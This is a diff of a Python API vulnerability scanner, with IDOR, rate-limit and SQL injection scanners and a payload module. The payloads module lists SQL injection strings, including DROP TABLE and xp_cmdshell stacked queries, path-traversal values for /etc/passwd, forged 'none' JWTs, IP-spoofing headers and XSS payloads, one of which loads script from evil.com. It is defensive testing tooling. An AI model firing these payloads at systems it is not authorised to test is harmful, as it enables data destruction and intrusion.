severity=severity,
details=details,
evidence_json=evidence,
recommendations_json=recommendations or [],
)

View File

@ -0,0 +1,284 @@
"""
©AngelaMos | 2025
Base scanner class with common HTTP logic and evidence collection
"""
from __future__ import annotations
import time
import random
import statistics
from typing import Any
from urllib.parse import urljoin
from abc import ABC, abstractmethod
import requests
from ..config import settings
from ..schemas.test_result_schemas import TestResultCreate
class BaseScanner(ABC):
"""
Abstract base class for all security scanners
Provides common HTTP functionality, request spacing, retry logic,
and evidence collection. Specific scanners inherit and implement scan().
"""
def __init__(
self,
target_url: str,
auth_token: str | None = None,
max_requests: int | None = None,
):
"""
Initialize scanner with target and configuration
Args:
target_url: Base URL of API to scan
auth_token: Optional authentication token
max_requests: Optional limit on requests (from settings if None)
"""
self.target_url = target_url.rstrip("/")
self.auth_token = auth_token
self.max_requests = max_requests or settings.DEFAULT_MAX_REQUESTS
self.session = self._create_session()
self.last_request_time = 0.0
self.request_count = 0
def _create_session(self) -> requests.Session:
"""
Create persistent HTTP session with proper headers
Returns:
requests.Session: Configured session object
"""
session = requests.Session()
session.headers.update(
{
"User-Agent":
f"{settings.APP_NAME}/{settings.VERSION}",
"Accept": "application/json",
}
)
if self.auth_token:
session.headers.update(
{"Authorization": f"Bearer {self.auth_token}"}
)
return session
def _wait_before_request(
self,
jitter_ms: int | None = None
) -> None:
"""
Implement request spacing to avoid overwhelming target
Based on research: production-safe scanning requires spacing
requests to avoid triggering rate limits or affecting service.
Args:
jitter_ms: Random jitter in milliseconds to add (DEFAULT_JITTER_MS)
"""
if jitter_ms is None:
jitter_ms = settings.DEFAULT_JITTER_MS
required_delay = 1.0 / (
self.max_requests / settings.SCANNER_RATE_LIMIT_WINDOW_SECONDS
)
jitter = random.uniform(0, jitter_ms / 1000.0)
elapsed = time.time() - self.last_request_time
if elapsed < required_delay:
time.sleep(required_delay - elapsed + jitter)
else:
time.sleep(jitter)
self.last_request_time = time.time()
def make_request(
self,
method: str,
endpoint: str,
**kwargs: Any,
) -> requests.Response:
"""
Make HTTP request with retry logic and rate limit handling
Implements exponential backoff for server errors and respects
Retry-After headers for 429 responses.
Args:
method: HTTP method (GET, POST, etc.)
endpoint: Endpoint path (will be joined with target_url)
**kwargs: Additional arguments passed to requests
Returns:
requests.Response: Response object
Raises:
requests.RequestException: If request fails after retries
"""
self._wait_before_request()
url = urljoin(self.target_url, endpoint)
retry_count = 0
backoff_factor = 2.0
kwargs.setdefault(
"timeout",
settings.SCANNER_CONNECTION_TIMEOUT
)
while retry_count <= settings.DEFAULT_RETRY_COUNT:
try:
start_time = time.time()
response = self.session.request(method, url, **kwargs)
setattr(response, "request_time", time.time() - start_time)
self.request_count += 1
if response.status_code == 429:
retry_after = response.headers.get(
"Retry-After",
str(settings.DEFAULT_RETRY_WAIT_SECONDS)
)
wait_time = (
int(retry_after) if retry_after.isdigit() else
settings.DEFAULT_RETRY_WAIT_SECONDS
)
time.sleep(wait_time)
retry_count += 1
continue
if response.status_code >= 500 and retry_count < settings.DEFAULT_RETRY_COUNT:
wait_time = backoff_factor**retry_count
time.sleep(wait_time)
retry_count += 1
continue
return response
except (requests.Timeout, requests.ConnectionError):
if retry_count < settings.DEFAULT_RETRY_COUNT:
wait_time = backoff_factor**retry_count
time.sleep(wait_time)
retry_count += 1
else:
raise
return response
def get_baseline_timing(
self,
endpoint: str,
samples: int | None = None
) -> tuple[float,
float]:
"""
Establish baseline response time for an endpoint
Critical for time-based detection (e.g., blind SQLi). Takes multiple
samples and calculates mean and standard deviation.
Args:
endpoint: Endpoint to test
samples: Number of samples to take (DEFAULT_BASELINE_SAMPLES)
Returns:
tuple[float, float]: (mean_time, stdev_time) in seconds
"""
if samples is None:
samples = settings.DEFAULT_BASELINE_SAMPLES
times = []
for _ in range(samples):
response = self.make_request("GET", endpoint)
times.append(getattr(response, "request_time", 0.0))
time.sleep(0.5)
return statistics.mean(times), statistics.stdev(times)
def collect_evidence(
self,
response: requests.Response,
payload: Any | None = None,
**additional_data: Any,
) -> dict[str,
Any]:
"""
Collect evidence from test execution with sensitive data redaction
Args:
response: HTTP response object
payload: Payload used in test
**additional_data: Additional evidence data
Returns:
dict[str, Any]: Evidence dictionary
"""
evidence = {
"status_code":
response.status_code,
"response_time_ms":
round(getattr(response,
"request_time",
0.0) * 1000,
2),
"response_length":
len(response.text),
"headers":
self._redact_sensitive_headers(dict(response.headers)),
}
if payload is not None:
evidence["payload"] = str(payload)
evidence.update(additional_data)
return evidence
def _redact_sensitive_headers(self,
headers: dict[str,
str]) -> dict[str,
str]:
"""
Redact sensitive header values for evidence collection
Args:
headers: Original headers dictionary
Returns:
dict[str, str]: Headers with sensitive values redacted
"""
sensitive_headers = [
"authorization",
"cookie",
"x-api-key",
"x-auth-token",
]
redacted = {}
for key, value in headers.items():
if key.lower() in sensitive_headers:
redacted[key] = "[REDACTED]"
else:
redacted[key] = value
return redacted
@abstractmethod
def scan(self) -> TestResultCreate:
"""
Execute the security scan
Must be implemented by specific scanner classes.
Returns:
TestResultCreate: Result of the scan
"""

View File

@ -0,0 +1,335 @@
"""
©AngelaMos | 2025
IDOR/BOLA vulnerability scanner
Based on OWASP API1:2023 - Broken Object Level Authorization
"""
from __future__ import annotations
import re
from typing import Any
from ..core.enums import ScanStatus, Severity, TestType
from ..schemas.test_result_schemas import TestResultCreate
from .base_scanner import BaseScanner
from .payloads import IDORPayloads
class IDORScanner(BaseScanner):
"""
Tests for Insecure Direct Object Reference (IDOR) vulnerabilities
Also known as Broken Object Level Authorization (BOLA).
Ranked #1 in OWASP API Security Top 10 2023.
Detects:
- Sequential ID enumeration
- UUID exposure and access
- Missing authorization checks on object access
Maps to OWASP API Security Top 10 2023: API1:2023
"""
def scan(self) -> TestResultCreate:
"""
Execute IDOR/BOLA tests
Returns:
TestResultCreate: Scan result with findings
"""
id_enumeration_test = self._test_id_enumeration()
if id_enumeration_test["vulnerable"]:
return self._create_vulnerable_result(
details=f"IDOR vulnerability detected: {id_enumeration_test['vulnerability_type']}",
evidence=id_enumeration_test,
severity=Severity.HIGH,
recommendations=[
"Implement proper authorization checks for all object access",
"Verify user owns/has permission to access requested resource",
"Use UUIDs instead of sequential IDs (but still check authorization)",
"Implement access control lists (ACLs) or role-based access control (RBAC)",
"Log and monitor unauthorized access attempts",
],
)
predictable_id_test = self._test_predictable_id_patterns()
if predictable_id_test["vulnerable"]:
return self._create_vulnerable_result(
details="Predictable ID patterns detected enabling enumeration",
evidence=predictable_id_test,
severity=Severity.MEDIUM,
recommendations=[
"Use non-sequential, non-predictable identifiers (UUIDs)",
"Implement rate limiting on ID-based endpoints",
"Add authorization checks regardless of ID format",
],
)
return TestResultCreate(
test_name=TestType.IDOR,
status=ScanStatus.SAFE,
severity=Severity.INFO,
details="No IDOR/BOLA vulnerabilities detected",
evidence_json={
"id_enumeration_test": id_enumeration_test,
"predictable_id_test": predictable_id_test,
},
recommendations_json=[
"Authorization checks appear to be in place",
"Continue monitoring for authorization bypasses",
],
)
def _test_id_enumeration(self) -> dict[str, Any]:
"""
Test for ID enumeration vulnerabilities
Attempts to access resources with modified IDs to detect
missing authorization checks.
Returns:
dict[str, Any]: ID enumeration test results
"""
extracted_ids = self._extract_ids_from_response()
if not extracted_ids:
return {
"vulnerable": False,
"description": "No IDs found in endpoint responses",
}
numeric_test = self._test_numeric_id_manipulation(extracted_ids)
if numeric_test["vulnerable"]:
return numeric_test
string_test = self._test_string_id_manipulation(extracted_ids)
if string_test["vulnerable"]:
return string_test
return {
"vulnerable": False,
"ids_tested": len(extracted_ids),
"description": "ID enumeration not possible or blocked",
}
def _extract_ids_from_response(self) -> list[Any]:
"""
Extract potential IDs from API response
Looks for numeric IDs, UUIDs, and other identifier patterns.
Returns:
list[Any]: List of extracted IDs
"""
try:
response = self.make_request("GET", "/")
if response.status_code != 200:
return []
response_text = response.text
uuid_pattern = r'[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}'
uuids = re.findall(uuid_pattern, response_text, re.IGNORECASE)
numeric_id_pattern = r'"id"\s*:\s*(\d+)'
numeric_ids = re.findall(numeric_id_pattern, response_text)
ids = []
ids.extend(uuids[:3])
ids.extend([int(nid) for nid in numeric_ids[:3]])
return ids
except Exception:
return []
def _test_numeric_id_manipulation(
self, extracted_ids: list[Any]
) -> dict[str, Any]:
"""
Test numeric ID manipulation for IDOR
Args:
extracted_ids: List of IDs extracted from responses
Returns:
dict[str, Any]: Numeric ID manipulation test results
"""
numeric_ids = [
id_val for id_val in extracted_ids if isinstance(id_val, int)
]
if not numeric_ids:
return {
"vulnerable": False,
"description": "No numeric IDs to test",
}
base_id = numeric_ids[0]
test_ids = IDORPayloads.NUMERIC_ID_MANIPULATIONS
accessible_unauthorized = []
for test_id in test_ids:
if test_id == base_id:
continue
try:
response = self.make_request("GET", f"/{test_id}")
if response.status_code == 200:
accessible_unauthorized.append(
{
"id": test_id,
"status_code": response.status_code,
"response_length": len(response.text),
}
)
except Exception:
continue
if accessible_unauthorized:
return {
"vulnerable": True,
"vulnerability_type": "Numeric ID Enumeration",
"base_id": base_id,
"unauthorized_access": accessible_unauthorized,
"count": len(accessible_unauthorized),
}
return {
"vulnerable": False,
"numeric_ids_tested": len(test_ids),
}
def _test_string_id_manipulation(
self, extracted_ids: list[Any]
) -> dict[str, Any]:
"""
Test string/UUID ID manipulation for IDOR
Args:
extracted_ids: List of IDs extracted from responses
Returns:
dict[str, Any]: String ID manipulation test results
"""
string_ids = [
id_val for id_val in extracted_ids if isinstance(id_val, str)
]
if not string_ids:
return {
"vulnerable": False,
"description": "No string IDs to test",
}
test_ids = IDORPayloads.STRING_ID_MANIPULATIONS
accessible_unauthorized = []
for test_id in test_ids:
try:
response = self.make_request("GET", f"/{test_id}")
if response.status_code == 200:
accessible_unauthorized.append(
{
"id": test_id,
"status_code": response.status_code,
"response_length": len(response.text),
}
)
except Exception:
continue
if accessible_unauthorized:
return {
"vulnerable": True,
"vulnerability_type": "String ID Manipulation",
"unauthorized_access": accessible_unauthorized,
"count": len(accessible_unauthorized),
}
return {
"vulnerable": False,
"string_ids_tested": len(test_ids),
}
def _test_predictable_id_patterns(self) -> dict[str, Any]:
"""
Test if IDs follow predictable patterns
Predictable IDs (sequential, timestamps) enable enumeration attacks.
Returns:
dict[str, Any]: Predictable ID pattern test results
"""
try:
ids1 = self._extract_ids_from_response()
ids2 = self._extract_ids_from_response()
numeric_ids1 = [id for id in ids1 if isinstance(id, int)]
numeric_ids2 = [id for id in ids2 if isinstance(id, int)]
if len(numeric_ids1) >= 2:
diff1 = abs(numeric_ids1[1] - numeric_ids1[0])
if len(numeric_ids2) >= 2:
diff2 = abs(numeric_ids2[1] - numeric_ids2[0])
if diff1 == diff2 and diff1 == 1:
return {
"vulnerable": True,
"pattern_type": "Sequential IDs",
"id_difference": diff1,
"example_ids": numeric_ids1[:3],
}
return {
"vulnerable": False,
"description": "No predictable ID patterns detected",
}
except Exception as e:
return {
"vulnerable": False,
"error": str(e),
"description": "Error testing ID patterns",
}
def _create_vulnerable_result(
self,
details: str,
evidence: dict[str, Any],
severity: Severity = Severity.HIGH,
recommendations: list[str] | None = None,
) -> TestResultCreate:
"""
Create a vulnerable scan result
Args:
details: Vulnerability description
evidence: Evidence dictionary
severity: Vulnerability severity
recommendations: List of remediation recommendations
Returns:
TestResultCreate: Vulnerable result
"""
return TestResultCreate(
test_name=TestType.IDOR,
status=ScanStatus.VULNERABLE,
severity=severity,
details=details,
evidence_json=evidence,
recommendations_json=recommendations or [],
)

View File

@ -0,0 +1,463 @@
"""
©AngelaMos | 2025
Security testing payloads for various attack vectors
"""
class SQLiPayloads:
"""
SQL Injection test payloads covering various database types and techniques
"""
ERROR_SIGNATURES = {
"mysql": [
"sql syntax",
"mysql_fetch",
"mysql_num_rows",
"warning: mysql",
"mysqli",
"mysql error",
"mysql_",
],
"postgres": [
"postgresql",
"pg_query",
"pg_exec",
"error: syntax error",
"pg_",
"pgsql",
"postgres error",
],
"mssql": [
"odbc sql server",
"sqlserver jdbc driver",
"msg ",
"sqlexception",
"microsoft sql",
"sql server",
],
"oracle": [
"ora-",
"oracle.jdbc",
"oracle error",
"oracle database",
"pl/sql",
],
}
BASIC_AUTHENTICATION_BYPASS = [
"' OR '1'='1",
"' OR 1=1--",
"' OR 1=1#",
"' OR 1=1/*",
"admin'--",
"admin'#",
"admin'/*",
"' or 1=1--",
"' or 1=1#",
"' or 1=1/*",
") or '1'='1--",
") or ('1'='1--",
]
UNION_BASED = [
"' UNION SELECT NULL--",
"' UNION SELECT NULL,NULL--",
"' UNION SELECT NULL,NULL,NULL--",
"' UNION ALL SELECT NULL--",
"' UNION ALL SELECT NULL,NULL--",
"1' UNION SELECT NULL,NULL,NULL--",
"1' UNION ALL SELECT table_name,NULL FROM information_schema.tables--",
"' UNION SELECT username,password FROM users--",
"' UNION SELECT NULL,version()--",
"' UNION SELECT NULL,database()--",
]
TIME_BASED_BLIND = [
"'; WAITFOR DELAY '0:0:5'--",
"1'; WAITFOR DELAY '0:0:5'--",
"'; SELECT SLEEP(5)--",
"1'; SELECT SLEEP(5)--",
"'; BENCHMARK(5000000,MD5('test'))--",
"1' AND SLEEP(5)--",
"1' OR SLEEP(5)--",
"'; pg_sleep(5)--",
"1'; pg_sleep(5)--",
]
BOOLEAN_BASED_BLIND = [
"1' AND '1'='1",
"1' AND '1'='2",
"1' AND 1=1--",
"1' AND 1=2--",
"1' AND SUBSTRING(version(),1,1)='5'--",
"1' AND ASCII(SUBSTRING(database(),1,1))>97--",
"' AND (SELECT COUNT(*) FROM users)>0--",
"' AND (SELECT LENGTH(database()))>0--",
]
ERROR_BASED = [
"' AND 1=CONVERT(int,(SELECT @@version))--",
"' AND 1=CAST((SELECT @@version) AS int)--",
"' AND extractvalue(1,concat(0x7e,version()))--",
"' AND updatexml(1,concat(0x7e,version()),1)--",
"' AND exp(~(SELECT * FROM (SELECT 1)x))--",
"' OR 1 GROUP BY CONCAT_WS(0x3a,version(),floor(rand()*2)) HAVING MIN(0)--",
]
STACKED_QUERIES = [
"'; DROP TABLE users--",
"'; INSERT INTO users VALUES('hacker','password')--",
"'; UPDATE users SET password='hacked'--",
"'; EXEC xp_cmdshell('whoami')--",
"'; CREATE TABLE test(id INT)--",
]
COMMENT_VARIATIONS = [
"admin'--",
"admin'#",
"admin'/*",
"admin'-- -",
"admin';--",
"admin';#",
]
@classmethod
def get_all_payloads(cls) -> list[str]:
"""
Get all SQLi payloads combined
Returns:
list[str]: All SQLi test payloads
"""
return (
cls.BASIC_AUTHENTICATION_BYPASS + cls.UNION_BASED +
cls.TIME_BASED_BLIND + cls.BOOLEAN_BASED_BLIND +
cls.ERROR_BASED + cls.STACKED_QUERIES +
cls.COMMENT_VARIATIONS
)
@classmethod
def get_error_signatures(cls) -> dict[str, list[str]]:
"""
Get error signatures for detecting database types
Returns:
dict[str, list[str]]: Database error signature mappings
"""
return cls.ERROR_SIGNATURES
class AuthPayloads:
"""
Authentication and authorization test payloads
"""
JWT_NONE_ALGORITHM_VARIANTS = [
"none",
"None",
"NONE",
"nOnE",
"NoNe",
"NOne",
]
COMMON_AUTH_HEADERS = [
"Authorization",
"X-API-Key",
"X-Auth-Token",
"X-Access-Token",
"Bearer",
"Token",
"API-Key",
"ApiKey",
"Access-Token",
"Session",
"X-Session-Token",
"X-CSRF-Token",
"Authentication",
]
INVALID_TOKEN_FORMATS = [
"", # Empty token
"invalid",
"null",
"undefined",
"Bearer", # Just the prefix
"Bearer ", # Prefix with space
"1234567890",
"admin",
"../../../etc/passwd",
"' OR '1'='1",
]
JWT_ATTACKS = [
"eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiYWRtaW4ifQ.", # None algorithm
"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ", # No signature
"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.e30", # Empty payload
]
@classmethod
def get_all_headers(cls) -> list[str]:
"""
Get all auth header names
Returns:
list[str]: All authentication header variations
"""
return cls.COMMON_AUTH_HEADERS
@classmethod
def get_jwt_none_variants(cls) -> list[str]:
"""
Get JWT none algorithm case variations
Returns:
list[str]: None algorithm variations for testing
"""
return cls.JWT_NONE_ALGORITHM_VARIANTS
class IDORPayloads:
"""
Insecure Direct Object Reference (IDOR) test patterns
"""
NUMERIC_ID_MANIPULATIONS = [
0,
-1,
1,
2,
9999,
99999,
999999,
]
STRING_ID_MANIPULATIONS = [
"admin",
"root",
"test",
"user",
"1",
"0",
"../../../etc/passwd",
"..%2F..%2F..%2Fetc%2Fpasswd",
]
UUID_MANIPULATIONS = [
"00000000-0000-0000-0000-000000000000",
"11111111-1111-1111-1111-111111111111",
"ffffffff-ffff-ffff-ffff-ffffffffffff",
]
@classmethod
def get_numeric_tests(cls) -> list[int]:
"""
Get numeric ID test values
Returns:
list[int]: Numeric ID manipulation values
"""
return cls.NUMERIC_ID_MANIPULATIONS
@classmethod
def get_string_tests(cls) -> list[str]:
"""
Get string ID test values
Returns:
list[str]: String ID manipulation values
"""
return cls.STRING_ID_MANIPULATIONS
class RateLimitBypassPayloads:
"""
Rate limiting bypass techniques and patterns
"""
HEADER_PATTERNS = {
"limit": r"x-ratelimit-limit|x-rate-limit-limit|ratelimit-limit",
"remaining": r"x-ratelimit-remaining|x-rate-limit-remaining|ratelimit-remaining",
"reset": r"x-ratelimit-reset|x-rate-limit-reset|ratelimit-reset",
"retry_after": r"retry-after",
}
ENDPOINT_VARIATIONS = [
"/",
"//",
"/./",
"/.",
"/?",
"/?dummy=1",
"/?test=1",
"/;",
"/%2e",
"/%00",
]
HEADER_SPOOFING = [
{
"X-Forwarded-For": "127.0.0.1"
},
{
"X-Forwarded-For": "8.8.8.8"
},
{
"X-Real-IP": "127.0.0.1"
},
{
"X-Originating-IP": "127.0.0.1"
},
{
"X-Remote-IP": "127.0.0.1"
},
{
"X-Client-IP": "127.0.0.1"
},
{
"CF-Connecting-IP": "127.0.0.1"
},
{
"True-Client-IP": "127.0.0.1"
},
]
USER_AGENT_ROTATION = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36",
"Mozilla/5.0 (iPhone; CPU iPhone OS 14_0 like Mac OS X) AppleWebKit/605.1.15",
"curl/7.64.1",
"python-requests/2.31.0",
]
@classmethod
def get_bypass_headers(cls) -> list[dict[str, str]]:
"""
Get rate limit bypass header combinations
Returns:
list[dict[str, str]]: Header combinations for testing
"""
return cls.HEADER_SPOOFING
@classmethod
def get_header_patterns(cls) -> dict[str, str]:
"""
Get rate limit header detection patterns
Returns:
dict[str, str]: Regex patterns for rate limit headers
"""
return cls.HEADER_PATTERNS
@classmethod
def get_endpoint_variations(cls) -> list[str]:
"""
Get endpoint variations for bypass testing
Returns:
list[str]: Endpoint path variations
"""
return cls.ENDPOINT_VARIATIONS
class XSSPayloads:
"""
Cross-Site Scripting (XSS) test payloads for potential future testing
"""
BASIC_XSS = [
"<script>alert('XSS')</script>",
"<script>alert(1)</script>",
"<script>confirm('XSS')</script>",
"<script>prompt('XSS')</script>",
"<script src='http://evil.com/xss.js'></script>",
]
EVENT_HANDLER_XSS = [
"<img src=x onerror=alert('XSS')>",
"<img src=x onerror=alert(1)>",
"<body onload=alert('XSS')>",
"<input onfocus=alert('XSS') autofocus>",
"<select onfocus=alert('XSS') autofocus>",
"<textarea onfocus=alert('XSS') autofocus>",
"<keygen onfocus=alert('XSS') autofocus>",
"<video><source onerror=alert('XSS')>",
"<audio src=x onerror=alert('XSS')>",
"<details open ontoggle=alert('XSS')>",
]
SVG_XSS = [
"<svg/onload=alert('XSS')>",
"<svg onload=alert(1)>",
"<svg><script>alert('XSS')</script></svg>",
"<svg><animate onbegin=alert('XSS')>",
"<svg><set attributeName=onmouseover to=alert('XSS')>",
]
IFRAME_XSS = [
"<iframe src='javascript:alert(\"XSS\")'></iframe>",
"<iframe src=data:text/html,<script>alert('XSS')</script>></iframe>",
"<iframe srcdoc='<script>alert(\"XSS\")</script>'></iframe>",
]
ENCODED_XSS = [
"<script>alert(String.fromCharCode(88,83,83))</script>",
"&#60;script&#62;alert('XSS')&#60;/script&#62;",
"%3Cscript%3Ealert('XSS')%3C/script%3E",
"&lt;script&gt;alert('XSS')&lt;/script&gt;",
"\\x3cscript\\x3ealert('XSS')\\x3c/script\\x3e",
]
ATTRIBUTE_BREAKING = [
"' onmouseover='alert(\"XSS\")'",
"\" onmouseover=\"alert('XSS')\"",
"' onclick='alert(\"XSS\")' '",
"\" autofocus onfocus=\"alert('XSS')\"",
"'/><script>alert('XSS')</script>",
"\"/><script>alert('XSS')</script>",
]
FILTER_BYPASS = [
"<scr<script>ipt>alert('XSS')</scr</script>ipt>",
"<ScRiPt>alert('XSS')</sCrIpT>",
"<script>alert('XSS')//",
"<script>alert('XSS')<!--",
"<<script>alert('XSS')</script>",
"<script\x20type='text/javascript'>alert('XSS')</script>",
"<script\x0D\x0A>alert('XSS')</script>",
]
POLYGLOT_XSS = [
"javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/\"/+/onmouseover=1/+/[*/[]/+alert(1)//'>",
"'\"><script>alert(String.fromCharCode(88,83,83))</script>",
"-->'><script>alert(1)</script>",
"';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></script>",
]
@classmethod
def get_all_payloads(cls) -> list[str]:
"""
Get all XSS test payloads combined
Returns:
list[str]: All XSS test payloads
"""
return (
cls.BASIC_XSS + cls.EVENT_HANDLER_XSS + cls.SVG_XSS +
cls.IFRAME_XSS + cls.ENCODED_XSS +
cls.ATTRIBUTE_BREAKING + cls.FILTER_BYPASS +
cls.POLYGLOT_XSS
)
@classmethod
def get_basic_payloads(cls) -> list[str]:
"""
Get basic XSS test payloads
Returns:
list[str]: Basic XSS payloads
"""
return cls.BASIC_XSS

View File

@ -0,0 +1,354 @@
"""
©AngelaMos | 2025
Rate limiting detection and bypass testing scanner
OWASP API4:2023
"""
from __future__ import annotations
import re
import time
from typing import Any
from ..core.enums import (
ScanStatus,
Severity,
TestType,
)
from ..schemas.test_result_schemas import TestResultCreate
from .base_scanner import BaseScanner
from .payloads import RateLimitBypassPayloads
class RateLimitScanner(BaseScanner):
"""
Rate limiting and bypass vulnerabilities tests
"""
def scan(self) -> TestResultCreate:
"""
Execute rate limiting tests
Returns:
TestResultCreate: Scan result with findings
"""
rate_limit_info = self._detect_rate_limiting()
if not rate_limit_info["rate_limit_detected"]:
return self._create_vulnerable_result(
details =
"No rate limiting detected on target endpoint",
evidence = rate_limit_info,
recommendations = [
"Implement rate limiting to prevent abuse and DoS attacks",
"Use standard rate limit headers (X-RateLimit-Limit, X-RateLimit-Remaining)",
"Return 429 Too Many Requests when limits are exceeded",
"Include Retry-After header with 429 responses",
],
)
if rate_limit_info["enforcement_status"] == "HEADERS_ONLY":
return self._create_vulnerable_result(
details =
"Rate limit headers present but not enforced",
evidence = rate_limit_info,
severity = Severity.MEDIUM,
recommendations = [
"Enforce rate limits with 429 responses when thresholds are exceeded",
"Rate limit headers without enforcement provide false security",
],
)
bypass_results = self._test_bypass_techniques()
if bypass_results["bypass_successful"]:
return self._create_vulnerable_result(
details =
f"Rate limiting bypassed using: {bypass_results['bypass_method']}",
evidence = {
"rate_limit_info": rate_limit_info,
"bypass_details": bypass_results,
},
severity = Severity.HIGH,
recommendations = [
f"Fix bypass vulnerability: {bypass_results['bypass_method']}",
"Do not trust client-provided IP headers (X-Forwarded-For, X-Real-IP)",
"Implement rate limiting at multiple layers (IP, user, API key)",
"Validate and sanitize all client-provided headers",
],
)
return TestResultCreate(
test_name = TestType.RATE_LIMIT,
status = ScanStatus.SAFE,
severity = Severity.INFO,
details =
"Rate limiting properly implemented and enforced",
evidence_json = {
"rate_limit_info": rate_limit_info,
"bypass_attempts": bypass_results,
},
recommendations_json = [
"Rate limiting is properly configured",
"Continue monitoring for new bypass techniques",
],
)
def _detect_rate_limiting(self,
test_request_count: int = 20
) -> dict[str,
Any]:
"""
Detect rate limiting by analyzing headers and response patterns
Based on industry research: checks for standard headers and 429 responses
Args:
test_request_count: Number of requests to send
Returns:
dict[str, Any]: Rate limiting detection results
"""
rate_limit_patterns = RateLimitBypassPayloads.get_header_patterns()
results = {
"rate_limit_detected": False,
"rate_limit_headers": {},
"limit_threshold": None,
"reset_window": None,
"enforcement_status": None,
"attempts_until_limit": None,
"request_results": [],
}
for attempt in range(1, test_request_count + 1):
try:
response = self.make_request("GET", "/")
headers_lower = {
k.lower(): v
for k, v in response.headers.items()
}
for header_type, pattern in rate_limit_patterns.items():
for header_name, header_value in headers_lower.items():
if re.search(pattern,
header_name,
re.IGNORECASE):
results["rate_limit_headers"][
header_type] = {
"header_name": header_name,
"value": header_value,
}
results["rate_limit_detected"] = True
results["request_results"].append(
{
"attempt":
attempt,
"status_code":
response.status_code,
"response_time_ms":
round(
getattr(response,
"request_time",
0.0) * 1000,
2
),
}
)
if response.status_code == 429:
results["enforcement_status"] = "ACTIVE"
results["attempts_until_limit"] = attempt
retry_after = response.headers.get("Retry-After")
if retry_after:
results["retry_after_seconds"] = retry_after
break
time.sleep(0.1)
except Exception as e:
results["request_results"].append(
{
"attempt": attempt,
"error": str(e)
}
)
break
if results["rate_limit_detected"]:
if "limit" in results["rate_limit_headers"]:
results["limit_threshold"] = results[
"rate_limit_headers"]["limit"]["value"]
if "reset" in results["rate_limit_headers"]:
results["reset_window"] = results["rate_limit_headers"
]["reset"]["value"]
if not results["enforcement_status"]:
results["enforcement_status"] = "HEADERS_ONLY"
else:
results["enforcement_status"] = "NONE"
return results
def _test_bypass_techniques(self) -> dict[str, Any]:
"""
Test common rate limit bypass techniques
Based on HackTricks and OWASP:
- IP header spoofing (X-Forwarded-For, X-Real-IP, etc.)
- Endpoint case variations
Returns:
dict[str, Any]: Bypass test results
"""
results = {
"bypass_successful": False,
"bypass_method": None,
"bypass_details": {},
}
ip_bypass = self._test_ip_header_bypass()
if ip_bypass["bypass_successful"]:
results["bypass_successful"] = True
results["bypass_method"] = "IP Header Spoofing"
results["bypass_details"] = ip_bypass
return results
endpoint_bypass = self._test_endpoint_variation_bypass()
if endpoint_bypass["bypass_successful"]:
results["bypass_successful"] = True
results["bypass_method"] = "Endpoint Case Variation"
results["bypass_details"] = endpoint_bypass
return results
results["bypass_details"] = {
"ip_header_test": ip_bypass,
"endpoint_variation_test": endpoint_bypass,
}
return results
def _test_ip_header_bypass(self,
test_count: int = 15) -> dict[str,
Any]:
"""
Test if rate limiting can be bypassed with IP spoofing headers
Many rate limiters trust X-Forwarded-For and similar headers,
allowing attackers to bypass limits by rotating fake IPs
Args:
test_count: Number of requests to test
Returns:
dict[str, Any]: IP bypass test results
"""
bypass_headers = RateLimitBypassPayloads.HEADER_SPOOFING
for header_dict in bypass_headers:
header_name = list(header_dict.keys())[0]
success_count = 0
for i in range(test_count):
fake_ip = f"10.{i % 255}.{(i // 255) % 255}.1"
test_headers = {header_name: fake_ip}
try:
response = self.make_request(
"GET",
"/",
headers = test_headers
)
if response.status_code != 429:
success_count += 1
else:
break
except Exception:
break
if success_count == test_count:
return {
"bypass_successful": True,
"header_used": header_name,
"requests_completed": success_count,
"fake_ip_example": "10.0.0.1",
}
return {
"bypass_successful": False,
"headers_tested":
[list(h.keys())[0] for h in bypass_headers],
}
def _test_endpoint_variation_bypass(self) -> dict[str, Any]:
"""
Test if endpoint case variations bypass rate limiting
Some rate limiters are case-sensitive or miss URL variations
Returns:
dict[str, Any]: Endpoint variation test results
"""
variations = RateLimitBypassPayloads.get_endpoint_variations()
for variant in variations:
success_count = 0
for _ in range(10):
try:
response = self.make_request("GET", variant)
if response.status_code != 429:
success_count += 1
else:
break
except Exception:
break
if success_count == 10 and variant != "/":
return {
"bypass_successful": True,
"bypass_variant": variant,
"requests_completed": success_count,
}
return {
"bypass_successful": False,
"variations_tested": variations,
}
def _create_vulnerable_result(
self,
details: str,
evidence: dict[str,
Any],
severity: Severity = Severity.HIGH,
recommendations: list[str] | None = None,
) -> TestResultCreate:
"""
Create a vulnerable scan result
Args:
details: Vulnerability description
evidence: Evidence dictionary
severity: Vulnerability severity
recommendations: List of remediation recommendations
Returns:
TestResultCreate: Vulnerable result
"""
return TestResultCreate(
test_name = TestType.RATE_LIMIT,
status = ScanStatus.VULNERABLE,
severity = severity,
details = details,
evidence_json = evidence,
recommendations_json = recommendations or [],
)

View File

@ -0,0 +1,316 @@
"""
©AngelaMos | 2025
SQL injection vulnerability scanner
Tests error based, boolean based, and time based blind SQLi
"""
import time
import statistics
from typing import Any
from ..core.enums import (
ScanStatus,
Severity,
TestType,
)
from ..schemas.test_result_schemas import TestResultCreate
from .payloads import SQLiPayloads
from .base_scanner import BaseScanner
class SQLiScanner(BaseScanner):
"""
Tests for SQL injection vulnerabilities
Detects:
- Error-based SQLi (database error messages)
- Boolean-based blind SQLi (response differences)
- Time-based blind SQLi (response timing analysis)
Uses payloads covering MySQL, PostgreSQL, MSSQL, Oracle
"""
def scan(self) -> TestResultCreate:
"""
Execute SQL injection tests
Returns:
TestResultCreate: Scan result with findings
"""
error_based_test = self._test_error_based_sqli()
if error_based_test["vulnerable"]:
return self._create_vulnerable_result(
details=f"Error-based SQL injection detected: {error_based_test['database_type']}",
evidence=error_based_test,
